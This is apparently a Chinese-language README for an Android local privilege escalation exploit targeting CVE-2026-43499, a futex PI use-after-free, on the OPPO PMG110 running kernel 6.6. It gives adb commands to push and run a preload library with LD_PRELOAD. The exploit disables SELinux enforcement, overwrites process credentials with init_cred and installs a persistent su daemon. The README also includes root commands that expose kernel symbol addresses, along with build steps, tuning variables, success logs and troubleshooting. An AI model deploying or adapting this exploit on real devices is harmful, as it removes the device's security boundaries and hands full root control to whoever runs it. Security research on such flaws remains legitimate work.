针对 OPPO PMG110(内核 6.6)的 CVE-2026-43499 Android LPE 漏洞利用。利用 futex PI UAF 获取 root 权限,并通过 LD_PRELOAD 安装 su 守护进程。
CVE-2026-43499(futex PI rt_mutex_waiter 释放后使用)本地权限提升,移植到 OPPO PMG110 / K15 Pro+ — MediaTek MT6991,ColorOS 16。
只需推送一个文件,通过 LD_PRELOAD 运行:
adb push out/preload-pmg110-16.0.9.400.so /data/local/tmp/preload.so
adb shell chmod 644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
成功后会在系统中留下一个持久的 su:
adb shell /data/local/tmp/su -c id # uid=0(root)
已在真机验证(2026-07-27):在无任何环境变量覆盖的裸运行下,约 35 秒即可获得 uid=0,之后可从普通非特权 adb shell 使用 su:
$ adb shell "/data/local/tmp/su -c 'echo 0 > /proc/sys/kernel/kptr_restrict'"
$ adb shell "/data/local/tmp/su -c 'grep -w init_task /proc/kallsyms'"
ffffffe89033e780 D init_task
该漏洞利用和 su 安装均已在设备上验证。随后已 root 的 shell 读取回的内容也独立于该漏洞,证实了 P0_KERNEL_PHYS_LOAD、符号偏移量和 KS_MTE_TAGGED=0 — 参见 targets/pmg110-16.0.9.400/NOTES.md。
| 设备 | OPPO PMG110 / K15 Pro+ / OP61E5L1 |
| SoC | MediaTek MT6991(Dimensity 9500s) |
| 内核 | 6.6.118-android15-8-g93e223c276e7-abogki500782043-4k(GKI,4K 页) |
| 构建 | ColorOS 16 / PMG110_16.0.9.400(CN01) — 与 16.0.8.300 的内核字节相同 |
| 漏洞 | CVE-2026-43499,此镜像中未修复(经反汇编证实,而非版本号) |
它执行 Write 1(SELinux 宽容模式)和 Write 2(cred → init_cred),让一个子进程获得 uid=0,并从那里安装内置的 su 守护进程。
su 并非第二个工件:su_daemon.c 被构建为独立的
aarch64 PIE,并通过 .incbin 嵌入到库的 .rodata 中,因此它搭载在
preload.so 内部,并在运行时被写回。沿用 warhol-root 的路线,未作改动。ksud,没有 KernelSUsu 会安装到三个位置,因为其中有一个才是你实际能访问到的:
| 路径 | 原因 |
|---|---|
/apex/com.android.virt/bin/su | 位于挂载到该目录的 tmpfs 上;在 root shell 的 PATH 中 |
/data/local/tmp/su | 可从普通 adb shell 直接访问,无需 PATH 技巧 |
/apex/com.android.virt/bin/su 在 adbd 的挂载命名空间中 | 通过 setns 安装,因此新的 adb shell 也能看到 |
守护进程监听 /data/local/tmp/temp_su.sock,并将日志写入 /data/local/tmp/su_daemon.log。root 不会跨重启保留 — 每次开机后需重新运行 LD_PRELOAD 命令行。
如需 KernelSU 安装,请改用 ghostlock-oneplus 中的 /data/local/tmp/a/e 路线。
除漏洞利用核心外,其余部分均来自 warhol-root,是直接采用而非重新发明:
targets/<device>/ 下按设备划分的头文件,在构建时暂存到
source/src/,因此切换 DEVICE 绝不会留下上一台设备的头文件source/Makefile 的工具链选择(有 NDK 则用 NDK,否则用主机 clang
配合 NDK sysroot),以及两阶段嵌入规则:在链接 .so 之前生成
build/embed/su_daemon_aarch64_piesu_daemon.c 和 su_blob.S 与 warhol-root 的字节完全相同,
su_install.c 则是它的 preload.c 安装器漏洞利用核心并非 warhol-root 的。 warhol-root 就是 popsicle,固定于 GKI 6.12 / android16,其 generate_target.py 拒绝任何其他 banner。PMG110 是 6.6 / android15,因此这里的核心是 ghostlock 的 6.6 分支 — 它本身就是同一代码的后代(两个仓库的 kernelsnitch/utils.h 和 timeutils.h 字节完全相同),并在此基础上进一步开发。
| 文件 | 关系 |
|---|---|
util.c slide.c fops.c pipe.c root.c miniadb.c common.h offset.h kernelsnitch/* | ghostlock 的,字节完全相同 |
su_daemon.c su_blob.S | warhol-root 的,字节完全相同(su_blob.S 增加了两行 .hidden — 参见构建) |
su_install.c | warhol-root 的 preload.c 安装器,移至自己的文件,因为本仓库的 preload.c 已有其他职责 |
main.c | ghostlock 的,外加已 root 子进程中的 su 调用和结果上报 |
preload.c | 仅本仓库独有 — 构造函数和双输出日志 |
offsets.h | 仅结构体定义;条目从 targets/<device>/device_offsets.h 暂存而来 |
漏洞利用本身的每一行 — Write 1、Write 2、KernelSnitch、pselect 路线 — 在两个仓库中都是相同的代码。
这是唯一的结构性差异,由两个仓库获得 root 的不同方式所决定。
warhol-root 直接让漏洞利用进程本身获得 root,因此从 run_direct_root() 直接调用 install_embedded_su()。而这里 Write 2 交换的是 fork 出的子进程的 cred 指针,父进程保持为非特权调用者,因此 child_main() 中的子进程是唯一能执行安装的上下文 — 它就在那里运行。
两个仓库都在 util.c 中带有相同的弱符号 install_embedded_su() 桩函数,返回 ENOSYS;提供强定义才会启用该路线。这一点值得了解,因为某个意外丢弃 su_install.c 的构建仍然能链接、仍能运行 — 只是会报告 su=0/38 且不安装任何东西。
make # = make preload -> out/preload-<DEVICE>.so
make DEVICE=<name> # use targets/<name>/
make devices # list available DEVICE values
make info # show the selected target and the resolved toolchain
工具链会自动查找:先找 ANDROID_NDK_HOME / ANDROID_NDK_ROOT,然后是 Linux 和 macOS 的常规 NDK 安装位置;若均不存在,则使用主机 clang 并指向 NDK sysroot。仅在需要覆盖搜索路径时才设置 ANDROID_NDK_HOME。make info 会打印其选择。
构建分两个阶段,这是值得了解的部分:
su_daemon.c → build/embed/su_daemon_aarch64_pie,一个独立的 aarch64 PIEsu_blob.S 将该二进制通过 .incbin 嵌入 .rodata,然后整体链接成一个
preload.so因此 make clean 后重新构建是更改内置 su 的唯一方式 — 仅编辑 su_daemon.c 就够了,依赖关系已声明,但该 blob 是构建产物,不受版本控制。
targets/<device>/{target.h,device_offsets.h} 会在每次构建时重新暂存到 source/src/,因此不会静默地误用到其他设备的过时头文件。
out/*.so 不受版本控制(与 warhol-root 相同的约定)— 克隆后直接 make。
该 .so 以 -fvisibility=hidden 构建,导出零个符号。LD_PRELOAD 库会在整个进程中赢得符号查找,因此它导出的任何符号都可能遮蔽宿主二进制或 libc 中的同名符号。该标志仅作用于 C 代码生成,因此 su_blob.S 手动将其两个符号标记为 .hidden — 没有这些行,blob 边界将是该库唯一仍会导出的东西。
| 变量 | 作用 |
|---|---|
GHOSTLOCK_LOG | 日志输出目标(默认 /data/local/tmp/.ghostlock.log);输出同时写入 stdout 和 该文件 |
GHOSTLOCK_KS_VERBOSE=1 | 打印 KernelSnitch 的碰撞地址和扫描范围 |
GHOSTLOCK_KS_THRESHOLD=<n> | 覆盖碰撞阈值倍数 |
GHOSTLOCK_MTE=1 | 同时扫描内核指针标签(慢 15 倍) |
GHOSTLOCK_PHYS_LOAD=0x... | 覆盖内核物理加载地址 |
PSELECT_SHIFT=<n> | 覆盖栈叠加偏移(替换,而非叠加) |
在已验证的那次运行中,这些均无需设置。
[*] futex_hashsize 2048 (8 possible CPUs)
[*] ks collisions=3/3 baseline=8 threshold=10x (80) accepted=[1244..1597] slowest_rejected=N
[+] child uid = 0
[+] embedded su wrote 15304 bytes to /apex/com.android.virt/bin/su
[+] embedded su daemon ready pid=NNNN socket=/data/local/tmp/temp_su.sock daemon=/apex/com.android.virt/bin/su
[+] embedded su install ok=1 errno=0 daemon=NNNN
[+] su ready: /data/local/tmp/su and /apex/com.android.virt/bin/su
[+] ghostlock preload verdict: EXPLOIT OK
child uid = 0 表示漏洞利用成功;其后的所有内容都是安装过程。两者故意分开报告,结论(verdict)也是如此:
| 结论 | 含义 |
|---|---|
EXPLOIT OK | 已获得 root,且 su 可用 |
EXPLOIT OK, SU INSTALL FAILED | Write 1 和 Write 2 已成功;仅安装环节出错 |
EXPLOIT FAILED | 写入未成功 |
ABORTED | 运行在能报告之前就终止了 — 查看最后一行 [!] |
中间那个结论值得特别关注:它表示 target.h 中的偏移量对这个构建是正确的,问题出在安装环节,而这完全是另一类需要调试的东西。其中的 su=0/38(ENOSYS)具体表示链接的是弱桩函数。
mm_struct leak failed 后跟 prepare_kernel_page retry N/24 并不是失败。 这是循环进度,成功的运行同样会显示。只有在 24 次尝试用尽并出现 prepare_kernel_page timeout 时才算失败。同理,probing cfi ... expected=9 伴随 child uid = 2000 只是十轮中漏掉了一轮。
不要根据截断的日志判断一次运行 — 这个错误曾在这里导致一整轮误诊。
整次运行失败也是正常的。 pselect 竞争并非 100% 必胜:一次运行可能连续输掉五次并以 Write 1 failed 结束,而下次运行第一次尝试就拿到 ret=9。这是在该设备上观察到的。ret=4 expected=9 是输掉竞争时的样子,而不是 target.h 有误 — 一次失败不足以去重新推导偏移量。重新运行即可。
| 路径 | 内容 |
|---|---|
source/src/preload.c | 构造函数:运行漏洞利用、上报结果、停止 |
source/src/main.c | 漏洞利用本身(Write 1 / Write 2) |
source/src/su_daemon.c | su 二进制 — 单独构建为 aarch64 PIE,不链接进 .so |
source/src/su_blob.S | 将该 PIE 通过 .incbin 嵌入 .so 的 .rodata |
source/src/su_install.c | 将 blob 写回、启动守护进程、探测它 |
source/src/target.h | 暂存目标(gitignored) |
targets/<device>/target.h | 编译期布局:结构体偏移、physmap 常量、slab 和 futex 形态 |
targets/<device>/device_offsets.h | 来自 kallsyms 的全局符号偏移 |
tools/extract_device.py | boot.img → 偏移量、BTF 结构体字段、pselect 叠加结果 |
tools/preloader_memlayout.py | MediaTek preloader → P0_KERNEL_PHYS_LOAD |
tools/qemu_verify.py | 在 QEMU 下启动内核:测量栈叠加、检查线性映射稳定性 |
tools/device_probe.sh | 从非特权 adb shell 执行的预检 |
仅限授权的安全研究和教育用途。